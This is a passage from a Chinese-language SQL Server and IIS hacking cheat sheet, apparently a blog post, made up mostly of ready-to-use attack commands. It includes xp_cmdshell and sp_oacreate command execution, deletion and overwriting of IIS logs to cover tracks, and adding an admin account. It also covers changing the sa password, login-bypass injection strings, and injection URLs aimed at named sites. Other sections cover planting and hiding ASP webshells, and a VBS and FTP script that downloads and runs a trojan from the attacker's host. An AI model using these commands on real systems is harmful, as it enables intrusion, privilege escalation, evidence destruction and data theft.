insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,’AtEndOfStream’,@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
drop TABLE MYTMP
———-
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate ‘wscript.shell’,@shell output
EXEC sp_oamethod @shell,’run’,null,’cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps “C:\WINNT\system32\idq.dll” “C:\WINNT\system32\inetsrv\httpext.dll” “C:\WINNT\system32\inetsrv\httpodbc.dll” “C:\WINNT\system32\inetsrv\ssinc.dll” “C:\WINNT\system32\msw3prt.dll” “C:\winnt\system32\inetsrv\asp.dll”>c:\temp.txt’,’0′,’true’
EXEC sp_oacreate ‘scripting.filesystemobject’,@fso output
EXEC sp_oamethod @fso,’opentextfile’,@file out,’c:\temp.txt’
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,’Readline’,@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,’AtEndOfStream’,@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
以下是一行里面将WEB用户加到管理员组中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ‘wscript.shell’,@shell output EXEC sp_oamethod @shell,’run’,null,’cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps “C:\WINNT\system32\idq.dll” “C:\WINNT\system32\inetsrv\httpext.dll” “C:\WINNT\system32\inetsrv\httpodbc.dll” “C:\WINNT\system32\inetsrv\ssinc.dll” “C:\WINNT\system32\msw3prt.dll” “C:\winnt\system32\inetsrv\asp.dll”>c:\temp.txt’,’0′,’true’ EXEC sp_oacreate ‘scripting.filesystemobject’,@fso output EXEC sp_oamethod @fso,’opentextfile’,@file out,’c:\temp.txt’ WHILE @shell>0 BEGIN EXEC sp_oamethod @file,’Readline’,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,’AtEndOfStream’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
以下是一行中执行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ‘wscript.shell’,@shell output EXEC sp_oamethod @shell,’run’,null,’cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt’,’0′,’true’ EXEC sp_oacreate ‘scripting.filesystemobject’,@fso output EXEC sp_oamethod @fso,’opentextfile’,@file out,’c:\temp.txt’ WHILE @shell>0 BEGIN EXEC sp_oamethod @file,’Readline’,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,’AtEndOfStream’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
SQL下三种执行CMD命令的方法:
先删除7.18号日志:
(1)exec master.dbo.xp_cmdshell ‘del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt’
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ‘wscript.shell’,@shell output EXEC sp_oamethod @shell,’run’,null,’cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt’,’0′,’true’ EXEC sp_oacreate ‘scripting.filesystemobject’,@fso output EXEC sp_oamethod @fso,’opentextfile’,@file out,’c:\temp.txt’ WHILE @shell>0 BEGIN EXEC sp_oamethod @file,’Readline’,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,’AtEndOfStream’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘 模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用 sysadmin权限测试:
? exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Jet\4.0\Engines’,'SandBoxMode’,'REG_DWORD’,1
注:
0 禁止一切(默认)
1 使能访问ACCESS,但是禁止其它
2 禁止访问ACCESS,但是使能其他
3 使能一切
? 这里仅给出sysadmin权限下使用的命令:
select * from openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\winnt\system32\ias\ias.mdb’,'select shell(“cmd.exe /c net user admin admin1234 /add”)’)
? 建立链接数据库’L0op8ack’参考命令:
EXEC sp_addlinkedserver ‘L0op8ack’,'OLE DB Provider for Jet’,'Microsoft.Jet.OLEDB.4.0′,’c:\windows\system32\ias\ias.mdb’
? 如何使用链接数据库:
使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合
sp_addlinkedserver需要sysadmin或setupadmin权限
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限
最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用,
一般没有哪个管理员这么设置普通帐户权限的
实用性不强,仅作为一个学习总结吧
大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,
我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败
需要找一个一般用户可访问的mdb才可以:
? 新建链接服务器”L0op8ack”:EXEC sp_addlinkedserver ‘L0op8ack’,'JetOLEDB’,'Microsoft.Jet.OLEDB.4.0′,’c:\winnt\system32\ias\ias.mdb’;–
? exec sp_addlinkedsrvlogin ‘L0op8ack’,'false’;–或
exec sp_addlinkedsrvlogin ‘L0op8ack’, ‘false’, NULL, ‘test1′, ‘ptlove’;–
? select * FROM OPENQUERY(L0op8ack, ‘select shell(“cmd.exe /c net user”)’);–
? exec sp_droplinkedsrvlogin ‘L0op8ack’,'false’;–
? exec sp_dropserver ‘L0op8ack’;–
再考贝一个其它文件来代替7.18日文件:
(1)exec master.dbo.xp_cmdshell ‘copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt’
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ‘wscript.shell’,@shell output EXEC sp_oamethod @shell,’run’,null,’cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt’,’0′,’true’ EXEC sp_oacreate ‘scripting.filesystemobject’,@fso output EXEC sp_oamethod @fso,’opentextfile’,@file out,’c:\temp.txt’ WHILE @shell>0 BEGIN EXEC sp_oamethod @file,’Readline’,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,’AtEndOfStream’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ‘wscript.shell’,@shell output EXEC sp_oamethod @shell,’run’,null,’cmd.exe /c net user>c:\temp.txt’,’0′,’true’ EXEC sp_oacreate ‘scripting.filesystemobject’,@fso output EXEC sp_oamethod @fso,’opentextfile’,@file out,’c:\temp.txt’ WHILE @shell>0 BEGIN EXEC sp_oamethod @file,’Readline’,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,’AtEndOfStream’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
9、 用update来更新表中的数据:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd=’a0b923820dcc509a’ where username=’www’;–
www用户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1;
32位MD5值为: ,密码为
10、 利用表内容导成文件功能
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
命令行格式如下:
bcp “select * from temp ” queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload(‘S’参数为执行查询的服务器,’U'参数为用户名,’P'参数为密码,最终上传了一个runcommand.asp的木马)。
11、创建表、播入数据和读取数据的方法
? 创建表:
‘ and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))–
? 往表里播入数据:
‘ and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype=’U’ and status>0,@result output insert into cyfd (gyfd) values(@result);–
‘ and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,'SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’ ,@result output insert into cyfd (gyfd) values(@result);–
? 从表里读取数据:
‘ and 1=(select count(*) from cyfd where gyfd >1)–
? 删除临时表:
‘;drop table cyfd;–
12、通过SQL语句直接更改sa的密码:
? update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0×01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。
? 查看本机所有的数据库用户名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins
? 更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,’新密码’,'sa’
13、查询dvbbs库中所有的表名和表结构:
? select * from dvbbs.dbo.sysobjects where xtype=’U’ and status>0
? select * from dvbbs.dbo.syscolumns where id=1426104121
14、手工备份当前数据库:
完全备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s=’c:/db1′ backup database @a to disk=@s WITH formAT–
差异备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s=’c:/db1′ backup database @a to disk=@s WITH DIFFERENTIAL,formAT—
15、添加和删除一个SA权限的用户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
cmd.exe /c isql -E /U alma /P /i K:\test.qry
16、select * from ChouYFD.dbo.sysobjects where xtype=’U’ and status>0
就可以列出库ChouYFD中所有的用户建立的表名。
select name,id from ChouYFD.dbo.sysobjects where xtype=’U’ and status>0
17、
? http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns (where id=1234)
列出rdweb库中所有表中的字段名称
? select * from dvbbs.dbo.syscolumns where id=5575058
列出库dvbbs中表id=5575058的所有字段名
18、删除记录命令:delete from Dv_topic where boardid=5 and topicid=7978
19、绕过登录验证进入后台的方法整理:
1) ‘ or”=’
2) ‘ or 1=1–
3) ‘ or ‘a’='a–
4) ‘or’='or’
5) ” or 1=1–
6)or 1=1–
7) or ‘a=’a
8)” or “a”=”a
9) ‘) or (‘a’='a
10) “) or (“a”=”a
11) ) or (1=1
12) ‘or”=’
13) 人气%’ and 1=1 and ‘%’=’
20、寻找网站路径的方法汇总:
1)查看WEB网站安装目录命令:
? cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt (将2换成1、3、4、5试试)
type c:\test1.txt
del c:\test1.txt
在NBSI下可以直接显示运行结果,所以不用导出到文件
2)在网站上随便找到一个图片的名字 123.jpg
然后写进批处理程序123.bat:
d:
dir 123.jpg /s >c:\123.txt
e:
dir 123.jpg /s >>c:\123.txt
f:
dir 123.jpg /s >>c:\123.txt
执行后 type c:\123.txt
这样来分析网站的路径
3)SQL服务器和网站服务器在同一个服务器上,好了是可以执行命令是吧?
将执行命令输出结果到
%windir%\help\iishelp\common\404b.htm或者500.asp
注意输出前Backup这两个文件
如:
dir c:\ >%windir%\help\iishelp\common\404b.htm
然后随便输入一个文件来访问:http://目标ip/2.asp
4)针对win2000系统:xp_regread读取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 获取WEB路径
2003系统:xp_regread读取,未找到方法
如:
(1) 新建一个表cyfd(字段为gyfd):http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))–
(2) 把web路径写进去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,'SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’ ,@result output insert into cyfd (gyfd) values(@result);–
(3) 还是让他不匹配,显示错误:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
Description: 将 varchar 值 ‘Y:\Web\烟台人才热线后台管理系统,,201 ‘ 转换为数据类型为 int 的列时发生语法错误。
TargeSite: Boolean Read() 哈哈哈。。路径暴露了。。
(4)接下来删除表:http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;–
5)用regedit命令导出注册表,将导出的结果保存的路径到%windir%\help\iishelp\common\404b.htm或者500.asp页面
regedit命令说明:
Regedit /L:system /R:user /E filename.reg Regpath
参数含义:
/L:system指定System.dat文件所在的路径。
/R:user指定User.dat文件所在的路径。
/E:此参数指定注册表编辑器要进行导出注册表操作,在此参数后面空一格,输入导出注册表的文件名。
Regpath:用来指定要导出哪个注册表的分支,如果不指定,则将导出全部注册表分支。在这些参数中,”/L:system”和”/R:user”参数 是可选项,如果不使用这两个参数,注册表编辑器则认为是对WINDOWS目录下的”system.dat”和”user.dat”文件进行操作。如果是通 过从软盘启动并进入DOS,那么就必须使用”/L”和”/R”参数来指定”system.dat”和”user.dat”文件的具体路径,否则注册表编辑 器将无法找到它们。比如说,如果通过启动盘进入DOS,则备份注册表的命令是”Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg”,该命令的意思是把整个注册表备份到WINDOWS目录下,其文件名为”regedit.reg”。而如果输入的 是”regedit /E D:\regedit.reg”这条命令,则是说把整个注册表备份到D盘的根目录下(省略了”/L”和”/R”参数),其文件名 为”Regedit.reg”。
regedit /s c:\adam.reg (导入c:\adam.reg文件至注册表)
regedit /e c:\web.reg (备份全部注册内容到c:\web.reg中)
针对win2000系统:C:\>regedit /e %windir%\help\iishelp\common\404b.htm “HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots”
然后http://目标IP/2.asp
针对win2003系统:没有找到,希望找到的朋友公布出来一起讨论。
6)虚拟主机下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的备份文件,是允许web用户访问的,如果你的iis备份到这里,用webshell下载下来后用记事本打开,可以获取对应的域名和web绝对路径。
7)SQL注入建立虚拟目录,有dbo权限下找不到web绝对路径的一种解决办法:
我们很多情况下都遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错:
? 建立虚拟目录win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell ‘cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w “l” -v “win”,”c:\winnt\system32″‘
? 让win目录具有解析asp脚本权限:exec master.dbo.xp_cmdshell ‘cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute “true” –s:’
? 删除虚拟目录win:exec master.dbo.xp_cmdshell ‘cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/’
? 测试:http://127.0.0.1/win/test.asp
8)利用SQL语句来查找WEB目录:根据经验,猜疑WEB根目录的顺序是:d盘、e盘、c盘,首先我们建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句:
;create table temp(dir nvarchar(255),depth varchar(255));–,该表的dir字段表示目录的名称,depth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树,语句如下:
;insert temp(dir,depth) exec master.dbo.xp_dirtree ‘d:’;–
在进行下面的操作前,先查看D盘有几个文件夹,这样对D盘有个大致的了解,语句如下:
and (select count(*) from temp where depth=1 and dir not in(‘Documents and Settings’,'Program Files’,'RECYCLER’,'System Volume Information’,'WINDOWS’,'CAConfig’,'wmpub’,'Microsoft UAM 卷’))>=数字(数字=0、1、2、3…)
接着,我们在对方的网站上找几个一级子目录,如user、photo,然后,用筛选的方法来判断WEB根目录上是否存在此盘上,语句如下:
and (select count(*) from temp where dir<>’user’)<(select count(*) from temp)
看语句的返回结果,如果为真,表示WEB根目录有可能在此盘上,为了进一步确认,多测试几个子目录:
and (select count(*) from temp where dir<>’photo’)<(select count(*) from temp)
…
如果所有的测试结果都为真,表示WEB根目录很有可能在此盘上。
下面假设找到的WEB根目录在此盘上,用以下的语句来获得一级子目录的深度:
and (select depth from temp where dir=’user’)>=数字(数字=1、2、3…)
假设得到的depth是3,说明user目录是D盘的3级目录,则WEB根目录是D盘的二级目录。
目前我们已经知道了根目录所在的盘符和深度,要找到根目录的具体位置,我们来从D盘根目录开始逐一搜寻,当然,没有必要知道每个目录的名称,否则太耗费时间了。
接下来,另外建立一个临时表,用来存放D盘的1级子目录下的所有目录,语句如下:
;create table temp1(dir nvarchar(255),depth varchar(255));–
然后把从D盘的第一个子目录下的所有目录存到temp1中,语句如下:
declare @dirname varchar(255);set @dirname=’d:\’+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in(‘Documents and Settings’,'Program Files’,'RECYCLER’,'System Volume Information’,'WINDOWS’,'CAConfig’,'wmpub’,'Microsoft UAM 卷’) order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的第二个子目录下的所有目录存到temp1中,只需把第二个top 1改为top 2就行了。
现在,temp1中已经保存了所有D盘第一级子目录下的所有目录,然后,我们用同样的方法来判断根目录是否在此一级子目录下:
and (select count(*) from temp1 where dir<>’user’)<(select count(*) from temp1)
如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下,然后我们在用同样的方法来获得D盘 第2、3…个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除。
现在假设,WEB根目录在D盘的第一级子目录下,该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2,我们需要知道website下到底哪个才是真正的WEB根目录。
现在,我们用同样的方法,再建立第3个临时表:
;create table temp2(dir nvarchar(255),depth varchar(255));–
然后把从D盘的website下的所有目录存到temp2中,语句如下:
declare @dirname varchar(255);set @dirname=’d:\website\’+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in(‘Documents and Settings’,'Program Files’,'RECYCLER’,'System Volume Information’,'WINDOWS’,'CAConfig’,'wmpub’,'Microsoft UAM 卷’) order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中,只需把第二个top 1改为top 2就行了。
现在,我们用同样的方法判断该目录是否为根目录:
and (select count(*) from temp2 where dir<>’user’)<(select count(*) from temp2)
如果返回为真,为了确定我们的判断,多测试几个例子,方法上面都讲到了,如果多个例子都返回为真,那么就确定了该目录为WEB根目录。
用以上的方法基本上可以获得WEB根目录,现在我们假设WEB根目录是:D:\website\www
然后,我们就可以备份当前数据库到这个目录下用来下载。备份前我们把temp、temp1、temp2的内容清空,然后C、D、E盘的目录树分别存到temp、temp1、temp2中。
下载完数据库后要记得把三个临时表drop掉,现在我们在下载的数据库中可以找到所有的目录列表,包括后台管理的目录以及更多信息。
21、win2000下将WEB用户提升为系统用户权限,需要有管理员的权限才能执行:
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps “C:\WINNT\system32\idq.dll” “C:\WINNT\system32\inetsrv\httpext.dll” “C:\WINNT\system32\inetsrv\httpodbc.dll” “C:\WINNT\system32\inetsrv\ssinc.dll” “C:\WINNT\system32\msw3prt.dll” “C:\winnt\system32\inetsrv\asp.dll”
cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps “C:\windows\system32\idq.dll” “C:\windows\system32\inetsrv\httpext.dll” “C:\windows\system32\inetsrv\httpodbc.dll” “C:\windows\system32\inetsrv\ssinc.dll” “C:\windows\system32\msw3prt.dll” “C:\windows\system32\inetsrv\asp.dll”
查看是否成功:
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
inprocessisapiapps : (LIST) (6 Items)
“C:\WINNT\system32\idq.dll”
“C:\WINNT\system32\inetsrv\httpext.dll”
“C:\WINNT\system32\inetsrv\httpodbc.dll”
“C:\WINNT\system32\inetsrv\ssinc.dll”
“C:\WINNT\system32\msw3prt.dll”
“c:\winnt\system32\inetsrv\asp.dll”
22、如何隐藏ASP木马:
建立非标准目录:mkdir images..\
拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
通过web访问ASP木马:http://ip/images../news.asp?action=login
如何删除非标准目录:rmdir images..\ /s
23、去掉tenlnet的ntlm认证:
;exec master.dbo.xp_cmdshell ‘tlntadmn config sec = -ntlm’—
24、用echo写入文件下载脚本iget.vbs:
(1)echo Set x= createObject(^”Microsoft.XMLHTTP^”):x.Open ^”GET^”,LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^”ADODB.Stream^”):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >c:\iget.vbs
(2)c:\>cscript iget.vbs http://127.0.0.1/asp/dbm6.asp dbm6.asp
25、手工建立IIS隐藏目录的方法:
? 查看本地虚拟目录列表:cscript.exe c:\inetpub\AdminScripts\adsutil.vbs enum w3svc/1/root
? 新建一个kiss目录:mkdir c:\asp\kiss
? 建立kiss虚拟目录:cscript.exe c:\inetpub\AdminScripts\mkwebdir.vbs -c MyComputer -w “Default Web Site” -v “kiss”,”c:\asp\kiss”
? 为kiss目录加执行和写权限:
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/kiss/accesswrite “true” -s:
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/accessexecute “true” -s:
? ?:Cscript c:\inetpub\AdminScripts\adsutil.vbs set /w3svc/1/root/kiss/createprocessasuser false
? 访问:http://127.0.0.1/kiss/test.asp
26、使用openrowset()连回本地做测试:
select a.*
FROM OPENROWSET(‘SQLOLEDB’,’127.0.0.1′;’sa’;’111111′,
‘select * FROM [dvbbs].[dbo].[dv_admin]‘) AS a
select * FROM OPENROWSET(‘SQLOLEDB’,’127.0.0.1′;’sa’;’111111′,
‘select * FROM [dvbbs].[dbo].[dv_admin]‘)
27、获得主机名:
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@servername)–
select convert(int,@@servername)
select @@servername
28、获得数据库用户名:
http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,system_user)–
http://www.19cn.com/showdetail.asp?id=49 and user>0
select user
29、普通用户获得WEBSHELL的方法之二:
? 打包:
EXEC [master].[dbo].[xp_makecab] ‘c:\test.rar’,'default’,1,’d:\cmd.asp’
解包,可以用于得到webshell:
? EXEC [master].[dbo].[xp_unpackcab] ‘C:\test.rar’,'c:’,1, ‘n.asp’
? 读任意文件内容,要求有master的dbo权限:
EXEC [master].[dbo].[xp_readerrorlog] 1,’c:\cmd.asp’
30、sa 权限下已知web路径直接备份数据库到web路径下
http://www.XXXX.com/FullStory.asp?id=1;backuup database 数据库名 to disk=’c:\inetpub\wwwroot\save.db’ 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
? 遍历系统的目录结构,分析结果并发现WEB虚拟目录,先创建一个临时表:temp
http://www.XXXX.com/FullStory.asp?id=1;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
? 接下来:我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insert temp exec master.dbo.xp_availablemedia;–
? 我们可以通过查询temp的内容来获得驱动器列表及相关信息或者利用xp_subdirs获得子目录列表,并存入temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id) exec master.dbo.xp_subdirs ‘c:\’;–
? 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;– 这样就可以成功的浏览到所有的目录(文件夹)列表
? 如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:\web\index.asp’;–
? 使用’bulk insert’语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from ‘c:\inetpub\wwwroot\index.asp’ 浏览temp就可以看到index.asp文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的 连接密码。
31、一些sql中的扩展存储的总结:
xp_availablemedia 显示系统上可用的盘符’C:\’ xp_availablemedia
xp_enumgroups 列出当前系统的使用群组及其说明 xp_enumgroups
xp_enumdsn 列出系统上已经设置好的ODBC数据源名称 xp_enumdsn
xp_dirtree 显示某个目录下的子目录与文件架构 xp_dirtree ‘C:\inetpub\wwwroot\’
xp_getfiledetails 获取某文件的相关属性 xp_getfiledetails ‘C:\inetpub\wwwroot.asp’
dbp.xp_makecab 将目标计算机多个档案压缩到某个档案里所压缩的档案都可以接在参数的后面用豆号隔开 dbp.xp_makecab ‘C:\lin.cab’,'evil’,1,’C:\inetpub\mdb.asp’
xp_unpackcab 解压缩 xp_unpackcab ‘C:\hackway.cab’,'C:\temp’,1
xp_ntsec_enumdomains 列出服务器域名 xp_ntsec_enumdomains
xp_servicecontrol 停止或者启动某个服务 xp_servicecontrol ‘stop’,'schedule’
xp_terminate_process 用pid来停止某个执行中的程序 xp_terminate_process 123
dbo.xp_subdirs 只列某个目录下的子目录 dbo.xp_subdirs ‘C:\’
32、
USE MASTER
GO
create proc sp_MSforeachObject
@objectType int=1,
@command1 nvarchar(2000),
@replacechar nchar(1) = N’?',
@command2 nvarchar(2000) = null,
@command3 nvarchar(2000) = null,
@whereand nvarchar(2000) = null,
@precommand nvarchar(2000) = null,
@postcommand nvarchar(2000) = null
as
/* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to its
own result set */
/* @precommand and @postcommand may be used to force a single result set via a temp table. */
/* Preprocessor won’t replace within quotes so have to use str(). */
declare @mscat nvarchar(12)
select @mscat = ltrim(str(convert(int, 0×0002)))
if (@precommand is not null)
exec(@precommand)
/* Defined @isobject for save object type */
Declare @isobject varchar(256)
select @isobject= case @objectType when 1 then ‘IsUserTable’
when 2 then ‘IsView’
when 3 then ‘IsTrigger’
when 4 then ‘IsProcedure’
when 5 then ‘IsDefault’
when 6 then ‘IsForeignKey’
when 7 then ‘IsScalarFunction’
when 8 then ‘IsInlineFunction’
when 9 then ‘IsPrimaryKey’
when 10 then ‘IsExtendedProc’
when 11 then ‘IsReplProc’
when 12 then ‘IsRule’
end
/* create the select */
/* Use @isobject variable isstead of IsUserTable string */
EXEC(N’declare hCForEach cursor global for select ”['' + REPLACE(user_name(uid), N'']”, N”]]”) + ”]” + ”.” + ”['' +
REPLACE(object_name(id), N'']”, N”]]”) + ”]” from dbo.sysobjects o ‘
+ N’ where OBJECTPROPERTY(o.id, N”’+@isobject+”’) = 1 ‘+N’ and o.category & ‘ + @mscat + N’ = 0 ‘
+ @whereand)
declare @retval int
select @retval = @@error
if (@retval = 0)
exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3
if (@retval = 0 and @postcommand is not null)
exec(@postcommand)
return @retval
GO
/*
1。获得所有的存储过程的脚本:
EXEc sp_MSforeachObject @command1=”sp_helptext ‘?’ “,@objectType=4
2。获得所有的视图的脚本:
EXEc sp_MSforeachObject @command1=”sp_helptext ‘?’ “,@objectType=2
EXEc sp_MSforeachObject @command1=”sp_changeobjectowner ‘?’, ‘dbo’”,@objectType=1
EXEc sp_MSforeachObject @command1=”sp_changeobjectowner ‘?’, ‘dbo’”,@objectType=2
EXEc sp_MSforeachObject @command1=”sp_changeobjectowner ‘?’, ‘dbo’”,@objectType=3
EXEc sp_MSforeachObject @command1=”sp_changeobjectowner ‘?’, ‘dbo’”,@objectType=4
*/
33、DB_OWNER权限下的数据库备份方法
用openrowset吧。反连到自己的数据库机器,~先在本地建个跟目标机器一样结构的表~字段类型使用nvarchar.然后用海洋连接对方的SQL数据库,在查询分析那里执行
insert into OPENROWSET (‘sqloledb’,'server=你数据库服务器的IP;uid=user;pwd=pass;database=dbname; ‘,’select * from 你建立的表) select * from 对方的表—
要是数据量太大的话就看看他数据库里有没有自动编号的字段.select * from 表名 where id>100
这样来弄吧
要是和WEB同台的话,直接将库BAK到WEB目录下回来就OK啦。。。不过前提库不能太大,超过2G的话SQL就超时了
如果是SA权限可以利用下面的两个ASP程序来备份数据库:
写txt文件的命令如下: echo open 你FTP主机的IP>>1.txt echo FTP的用户名>>1.txt echo FTP的密码>>1.txt echo bin>>1.txt echo get 木马的名字.exe>>1.txt echo bye>>1.txt 这些代码要一行一行的写,写完一行后回车。全部写完后我们再来看看是不是写进去了,输入”dir 1.txt”如图4所示,说明我们的txt写入成功。 由于台湾的操作系统是繁体中文的,而我的电脑又没安装繁体语言包,里面的繁体字全部显示乱码。1.txt成功写入后我们在执行”ftp ?s:1.txt”这个命令
